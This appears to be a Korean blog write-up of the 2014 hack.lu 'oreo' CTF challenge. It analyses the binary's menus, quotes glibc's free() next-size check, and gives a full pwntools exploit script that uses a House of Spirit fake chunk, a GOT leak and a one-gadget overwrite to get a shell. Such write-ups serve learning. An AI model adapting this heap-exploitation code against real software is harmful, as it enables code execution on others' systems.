2014 hack.lu oreo
1번 메뉴에서 할당을 해주는데 최대로 chunk_addr+25+56만큼 값을 입력할 수 있고 64byte만큼 할당이 되기 때문에 prev_size, size, fd, bk를 모두 덮어씌울 수 있다.
그리고 chunk_addr + 13에 먼저 할당된 힙이 존재하면 주소를 써준다.
2번 메뉴는 출력을 해준다. i+13을 바꿔 leak을 진행할 수 있겠다.
3번 메뉴는 v2+13을 계속해서 참조하여 free를 해준다. House of spirit!
4번 메뉴는 페이로드를 넣는 곳인가 보다..
이게 전역변수가 포인터인 경우는 ctf에서 처음 봐서 너무 헷갈렸다.. 얘도 똑같이 32비트 기준으로 4바이트 주소값을 저장 한다.
이 오류때문에 정말 많이 고생했는데 코드 구현부를 보면
xxxxxxxxxx
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
// p 다음 chunk가 최소 size보다 작거나
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
//p 다음 chunk의 size가 System이 허용하는 메모리 크기보다 큰지
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
위와 같이 나와있다. 여기서 chunksize는 매크로로 구현되어 있는데 현재 chunk의 주소에서 size만큼을 더하여 다음 chunk의 주소를 구하거나, prev_size만큼 빼서 이전 chunk의 주소를 구해준다.
즉, free를 할 때 다음 chunk의 size가 2 * SIZE_SZ보다 작거나 av->system_mem보다 크다면 invalid next size 오류가 뜨는 것이다.
익스플로잇 흐름도는 다음과 같다.
from pwn import *
#context.log_level='debug'
e = ELF('./oreo')
s = process('./oreo')
def malloc(name, desc):
#s.recvuntil('Exit!\n')
s.sendline('1')
#s.recvuntil('name: ')
s.sendline(name)
#s.recvuntil('description: ')
s.sendline(desc)
def show():
#s.recvuntil('Exit\n')
s.sendline('2')
def free():
#s.recvuntil('Action: ')
s.sendline('3')
def message(mes):
#s.recvuntil('Action: ')
s.sendline('4')
#s.recvuntil('order: ')
s.sendline(mes)
pause()
one_off = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
heap_num = 0x0804A2A4
malloc('A'*(52-25)+p32(e.got['puts']), 'B')
show()
s.recvuntil('Description')
s.recvuntil('Description: ')
leak = u32(s.recv(4))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x5fca0
one = libc_base + one_off[4]
for i in range(0x41-2):
malloc('A', 'B')
malloc('A'*(52-25)+p32(heap_num+4), 'seongjo2desc')
message(p32(0)*9 + p32(0x41))
free()
malloc('A', p32(e.got['puts']))
message(p32(one))
s.sendline('5')
s.interactive()
쉘~
'system > writeup' 카테고리의 다른 글
pwnable.tw hacknote (0) | 2019.01.13 |
---|---|
2017 codegate petshop (0) | 2019.01.12 |
pwnable.tw orw (0) | 2019.01.09 |
2017 codegate angrybird (0) | 2019.01.09 |
2014 plaidCTF kappa (0) | 2019.01.08 |